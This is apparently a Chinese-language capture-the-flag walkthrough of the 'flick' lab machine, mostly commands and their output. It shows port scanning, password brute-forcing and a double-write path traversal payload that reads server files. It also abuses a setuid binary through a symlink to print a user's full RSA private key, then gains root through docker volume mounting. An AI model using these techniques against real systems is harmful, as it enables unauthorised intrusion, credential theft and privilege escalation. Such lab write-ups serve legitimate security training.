靶机 192.168.1.148
kali 192.168.1.128
sudo nmap --min-rate 10000 -p- 192.168.1.148
[sudo] wyh 的密码：
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-12 09:44 CST
Nmap scan report for bogon (192.168.1.148)
Host is up (0.000069s latency).
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
8881/tcp open galaxy4d
sudo nmap -A 192.168.1.148
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-12 09:49 CST
Nmap scan report for 192.168.1.148
Host is up (0.00038s latency).
Not shown: 999 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.9p1 Debian 5ubuntu1.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 04:d0:8d:4d:ee:87:30:e7:60:82:63:d3:a8:6e:4b:ac (DSA)
| 2048 64:ec:a9:9b:0b:c0:11:d4:08:63:cf:83:e1:db:23:9a (RSA)
|_ 256 2d:32:93:ce:0e:54:3f:84:ee:01:c7:c0:bb:68:e2:02 (ECDSA)
MAC Address: 00:0C:29:45:22:CB (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE
HOP RTT ADDRESS
1 0.38 ms 192.168.1.148
sudo nmap -sU -p22,8881 192.168.1.148
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-12 09:48 CST
Nmap scan report for bogon (192.168.1.148)
Host is up (0.00040s latency).
PORT STATE SERVICE
22/udp closed ssh
8881/udp closed unknown
尝试访问了下8881端口，发现是管理服务器，需要密码，尝试弱口令无果
nc -v 192.168.1.148 8881
Warning: forward host lookup failed for bogon: Unknown host
bogon [192.168.1.148] 8881 (?) open
Welcome to the admin server. A correct password will 'flick' the switch and open a new door:
> admin
OK: admin
看看22，发现给我传输了一段密文，尝试解密一下
点击查看密文
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\x52\x31\x51\x78\x57\x6b\x4e\x56\x62\x45\x4a\x56\x54\x55\x51\x77\x50\x51\x3d\x3d
点击查看密文
Vm0wd2QyUXlVWGxWV0d4V1YwZDRWMVl3WkRSWFJteFZVMjA1VjAxV2JETlhhMk0xVmpKS1IySkVUbGhoTVhCUVZteFZlRll5VGtsalJtaG9UVmhDVVZacVFtRlpWMDE1VTJ0V1ZXSkhhRzlVVmxaM1ZsWmFkR05GWkZSTmF6RTFWVEowVjFaWFNraGhSemxWVmpOT00xcFZXbUZrUjA1R1drWndWMDFFUlRGV1ZFb3dWakZhV0ZOcmFHaFNlbXhXVm0xNFlVMHhXbk5YYlVaclVqQTFSMWRyV2xOVWJVcEdZMFZ3VjJKVVJYZFpla3BIVmpGT2RWVnRhRk5sYlhoWFZtMXdUMVF3TUhoalJscFlZbFZhY2xWcVFURlNNVlY1VFZSU1ZrMXJjRmhWTW5SM1ZqSktWVkpZWkZwbGEzQklWbXBHVDJSV1ZuUmhSazVzWWxob1dGWnRNSGhPUm14V1RVaG9XR0pyTlZsWmJGWmhZMnhXYzFWclpGaGlSM1F6VjJ0U1UxWnJNWEpqUm1oV1RXNVNNMVpxU2t0V1ZrcFpXa1p3VjFKV2NIbFdWRUpoVkRKT2RGSnJaRmhpVjNoVVdWUk9RMWRHV25STlZFSlhUV3hHTlZaWE5VOVhSMHBJVld4c1dtSkhhRlJXTUZwVFZqRndSMVJ0ZUdsU2JYY3hWa1phVTFVeFduSk5XRXBxVWxkNGFGVXdhRU5UUmxweFUydGFiRlpzV2xwWGExcDNZa2RGZWxGcmJGZFdNMEpJVmtSS1UxWXhWblZWYlhCVFlrVndWVlp0ZUc5Uk1XUnpWMjVLV0dKSFVtOVVWbHBYVGxaYVdHVkhkR2hpUlhBd1dWVm9UMVp0Um5KT1ZsSlhUVlp3V0ZreFdrdGpiVkpIVld4a2FWSnRPVE5XTW5oWFlqSkZlRmRZWkU1V1ZscFVXV3RrVTFsV1VsWlhiVVpzWWtad2VGVXlkREJXTVZweVYyeHdXbFpXY0hKV1ZFWkxWMVpHY21KR1pGZE5NRXBKVm10U1MxVXhXWGhhU0ZaVllrWktjRlpxVG05V1ZscEhXVE5vYVUxWFVucFdNV2h2V1ZaS1IxTnVRbFZXTTFKNlZHdGFhMk5zV25Sa1JtUnBWbGhDTlZkVVFtRmpNV1IwVTJ0a1dHSlhhR0ZVVmxwM1pXeHJlV1ZIZEd0U2EzQXdXbFZhYTJGV1duSmlla1pYWWxoQ1RGUnJXbEpsUm1SellVWlNhVkp1UWxwV2JYUlhaREZrUjJKSVRtaFNWVFZaVlcxNGQyVkdWblJrUkVKb1lYcEdlVlJzVm5OWGJGcFhZMGhLV2xaWFVrZGFWV1JQVTBkR1IyRkhiRk5pYTBwMlZtMTBVMU14VVhsVVdHeFZZVEZ3YUZWcVNtOVdSbEpZVGxjNWEySkdjRWhXYlRBMVZXc3hXRlZzYUZkTlYyaDJWakJrUzFkV1ZuSlBWbHBvWVRGd1NWWkhlR0ZaVm1SR1RsWmFVRll5YUZoWldIQlhVMFphY1ZOcVVsWk5WMUl3VlRKMGIyRkdTbk5UYkdoVlZsWndNMVpyV21GalZrcDBaRWQwVjJKclNraFdSM2hoVkRKR1YxTnVVbEJXUlRWWVdWUkdkMkZHV2xWU2ExcHNVbTFTZWxsVldsTmhSVEZaVVc1b1YxWXphSEpaYWtaclVqRldjMkZGT1ZkV1ZGWmFWbGN4TkdReVZrZFdibEpyVWtWS2IxbFljRWRsVmxKelZtMDVXR0pHY0ZoWk1HaExWMnhhV0ZWclpHRldNMmhJV1RJeFMxSXhjRWRhUms1WFYwVktNbFp0Y0VkWlYwVjRWbGhvV0ZkSGFGWlpiWGhoVm14c2NsZHJkR3BTYkZwNFZXMTBNRll4V25OalJXaFhWak5TVEZsVVFYaFNWa3B6Vkd4YVUySkZXWHBXVlZwR1QxWkNVbEJVTUQwPQ==
提示我们后门打开，可是22和8881的返回没有变化啊，重新扫描下发现是打开了80端口
sudo nmap --min-rate 10000 -p- 192.168.1.148
[sudo] wyh 的密码：
Starting Nmap 7.94 ( https://nmap.org ) at 2023-10-12 10:12 CST
Nmap scan report for bogon (192.168.1.148)
Host is up (0.00047s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
8881/tcp open galaxy4d
访问下80，一个全是图的主页面和一个登录页面，尝试扫一下目录，目录没有什么信息
登录页面是不是存在爆破、注入的可能，
注入测试了下，没有测出来注入点；再试试爆破，它提示我们使用测试账号登录，burp直接爆破
爆出demo：demo123就能登录，多了下载图片和上传文件的功能
做了一个msf的图片马，上传图片木马 上传成功但没有监听不到。
换个思路，任意文件下载/读取？
测试发现存在任意文件下载/读取，只不过存在防护，双写直接绕过，读取到靶机的文件
尝试读取apache2的配置文件
GET /image/download?filename=....//....//....//....//etc/apache2/sites-enabled/000-default HTTP/1.1
配置文件中显示了服务器的文件根目录
ServerAdmin webmaster@localhost
DocumentRoot /var/www/flick_photos/public
靶机采用了laravel框架，查一查相关的资料，需要查看app/database/production.sqlite文件夹，production.sqlite 文件是 Laravel 在生产环境中使用的 SQLite 数据库文件。它包含了应用程序在生产环境下的所有数据，包括用户信息、配置信息、日志记录等等。
GET /image/download?filename=....//....//....//....//var/www/flick_photos/app/database/production.sqlite HTTP/1.1
都试一试，发现dean的用户可以登录，而且用户下有两个文件夹
dean@flick:~$ ls
message.txt read_docker
查看message.txt让我们使用read_docker访问/home/robin/flick-dev/
尝试直接访问提示我们使用dockerfile，创建一个符号链接访问ssh密钥文件
dean@flick:~$ ln -s /home/robin/.ssh/authorized_keys Dockerfile
dean@flick:~$ ll
total 40
drwxr-xr-x 3 dean dean 4096 Oct 12 08:35 ./
drwxr-xr-x 4 root root 4096 Aug 2 2014 ../
-rw-r--r-- 1 dean dean 220 Aug 2 2014 .bash_logout
-rw-r--r-- 1 dean dean 3486 Aug 2 2014 .bashrc
drwx------ 2 dean dean 4096 Aug 2 2014 .cache/
lrwxrwxrwx 1 dean dean 32 Oct 12 08:35 Dockerfile -> /home/robin/.ssh/authorized_keys
-rw-r--r-- 1 root root 1250 Aug 4 2014 message.txt
-rw-r--r-- 1 dean dean 675 Aug 2 2014 .profile
-rwsr-xr-x 1 robin robin 8987 Aug 4 2014 read_docker*
dean@flick:~$ ./read_docker
ERROR: A path is required!
Usage is: ./read_docker /path/to/dockerfile
dean@flick:~$ ./read_docker .
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCW//S4p0cVDihPToqnfKDS0vV8VWXgf6JLVQ6p2zQeuAEJNLAQLBXCGsgUlr+7kU48ay3y3fkIqjhVZfco0dcU1W1RdZ5AWl7+sH/TCL6TwTxa1eIUGMuIU6pMMvSSBdGhDNQ+ViDT4sBejkRsyr6sHZmAwlPG6ckVXab64q1tllG/NTpLUWPpceH9TQTrx3qxn/7LVSFIktoVhRAyR8u2PE9rXuw9n6TAHVHim6FVOmt9A6QKKd9bTWi3ZGPYcsxHkKmADbx2bHDxbrDQwa1e6tN6CPXJ0U5OAHX+TheledIY0713YCVVH82woMC5gp2BEYUWH3WcZlOXWnh6bjxj robin@flick
dean@flick:~$
删除这个链接，访问ssh的私钥
dean@flick:~$ ln -s /home/robin/.ssh/id_rsa Dockerfile
dean@flick:~$ ll
total 40
drwxr-xr-x 3 dean dean 4096 Oct 12 08:43 ./
drwxr-xr-x 4 root root 4096 Aug 2 2014 ../
-rw-r--r-- 1 dean dean 220 Aug 2 2014 .bash_logout
-rw-r--r-- 1 dean dean 3486 Aug 2 2014 .bashrc
drwx------ 2 dean dean 4096 Aug 2 2014 .cache/
lrwxrwxrwx 1 dean dean 23 Oct 12 08:43 Dockerfile -> /home/robin/.ssh/id_rsa
-rw-r--r-- 1 root root 1250 Aug 4 2014 message.txt
-rw-r--r-- 1 dean dean 675 Aug 2 2014 .profile
-rwsr-xr-x 1 robin robin 8987 Aug 4 2014 read_docker*
dean@flick:~$ ./read_docker .
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAlv/0uKdHFQ4oT06Kp3yg0tL1fFVl4H+iS1UOqds0HrgBCTSw
ECwVwhrIFJa/u5FOPGst8t35CKo4VWX3KNHXFNVtUXWeQFpe/rB/0wi+k8E8WtXi
FBjLiFOqTDL0kgXRoQzUPlYg0+LAXo5EbMq+rB2ZgMJTxunJFV2m+uKtbZZRvzU6
S1Fj6XHh/U0E68d6sZ/+y1UhSJLaFYUQMkfLtjxPa17sPZ+kwB1R4puhVTprfQOk
CinfW01ot2Rj2HLMR5CpgA28dmxw8W6w0MGtXurTegj1ydFOTgB1/k4XpXnSGNO9
d2AlVR/NsKDAuYKdgRGFFh91nGZTl1p4em48YwIDAQABAoIBADI3bwhVwSL0cV1m
jmAC520VcURnFhlh+PQ6lkTQvHWW1elc10yZjKbfxzhppdvYB/+52S8SuPYzvcZQ
wbCWkIPCMrfLeNSH+V2UDv58wvxaYBsJVEVAtbdhs5nhvEovmzaHELKmbAZrO3R2
tbTEfEK7GUij176oExKC8bwv1GND/qQBwLtEJj/YVJSsdvrwroCde+/oJHJ76ix4
Ty8sY5rhKYih875Gx+7IZNPSDn45RsnlORm8fd5EGLML6Vm3iLfwkHIxRdj9DFoJ
wJcPX7ZWTsmyJLwoHe3XKklz2KW185hIr9M2blMgrPC2ZuTnvBXmEWuy86+xxAB0
mFXYMdkCgYEAx6yab3huUTgTwReaVpysUEqy4c5nBLKqs6eRjVyC9jchQfOqo5AQ
l8bd6Xdrk0lvXnVkZK0vw2zwqlk8N/vnZjfWnCa4unnv2CZXS9DLaeU6gRgRQFBI
JB+zHyhus+ill4aWHitcEXiBEjUHx4roC7Al/+tr//cjwUCwlHk75F0CgYEAwZhZ
gBjAo9X+/oFmYlgVebfR3kLCD4pVPMz+HyGCyjSj0+ddsHkYiHBhstBtHh9vU+Pn
JMhrtR9yzXukuyQr/ns1mhEQOUtTaXrsy/1FyRBaISrtcyGAruu5yWubT0gXk2Dq
rwyb6M6MbnwEMZr2mSBU5l27cTKypFqgcA58l78CgYAWM5vsXxCtGTYhFzXDAaKr
PtMLBn8v54nRdgVaGXo6VEDva1+C1kbyCVutVOjyNI0cjKMACr2v1hIgbtGiS/Eb
zYOgUzHhEiPX/dNhC7NCcAmERx/L7eFHmvq4sS81891NrtpMOnf/PU3kr17REiHh
AtIG1a9pg5pHJ6E6sQw2xQKBgHXeqm+BopieDFkstAeglcK8Fr16a+lGUktojDis
EJPIpQ65yaNOt48qzXEv0aALh57OHceZd2qZsS5G369JgLe6kJIzXWtk325Td6Vj
mX+nwxh6qIP2nADkaQOnzrHgtOn4kiruRGbki0AhpfQF46qrssVnwF5Vfcrvmstf
JqDFAoGBAI9KJamhco8BBka0PUWgJ3R2ZqE1viTvyME1G25h7tJb17cIeB/PeTS1
Q9KMFl61gpl0J4rJEIakeGpXuehwYAzNBv7n6yr8CNDNkET/cVhp+LCmbS91FwAK
VP0mqDppzOZ04B9FQD8Af6kUzxzGFH8tAN5SNYSW88I9Z8lVpfkn
-----END RSA PRIVATE KEY-----
dean@flick:~$
拿到了robin的私钥，复制到/dean/.ssh/id_rsa中
dean@flick:~$ ssh -i id_rsa robin@127.0.0.1
robin@flick:~$ id
uid=1000(robin) gid=1000(robin) groups=1000(robin),999(docker)
这样子就切换到另一个用户robin上了，看看权限
robin@flick:~$ sudo -l
Matching Defaults entries for robin on this host:
env_reset,（执行sudo命令后会重置环境变量）
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin（定义 sudo 查找执行文件的路径。这通常是系统上可执行文件所在的目录列表）
User robin may run the following commands on this host:
(root) NOPASSWD: /opt/start_apache/restart.sh（表示在执行 "/opt/start_apache/restart.sh" 脚本时不需要密码）
这里没事了了 看下wp是通过docker挂载目录实现
docker run -t -i -v /root:/root ubuntu /bin/bash
在Docker中运行一个Ubuntu镜像，并进入其Shell环境的
将靶机root目录挂到容器root目录，容器的输入绑定到robin的输入，并且不会关闭
进入容器的root目录一个假的flag文件和一个含有flag文件的文件夹
root@87a452f708e8:/# cd /root
root@87a452f708e8:/root# ls
53ca1c96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc flag.txt
root@87a452f708e8:/root# cat flag.txt
Errr, you are close, but this is not the flag you are looking for.
root@87a452f708e8:/root# cd 53ca1c96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc/
root@87a452f708e8:/root/53ca1c96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc# ls
real_flag.txt
root@87a452f708e8:/root/53ca1c96115a7c156b14306b81df8f34e8a4bf8933cb687bd9334616f475dcbc# cat real_flag.txt
Congrats!
You have completed 'flick'! I hope you have enjoyed doing it as much as I did creating it :)
ciao for now!
@leonjza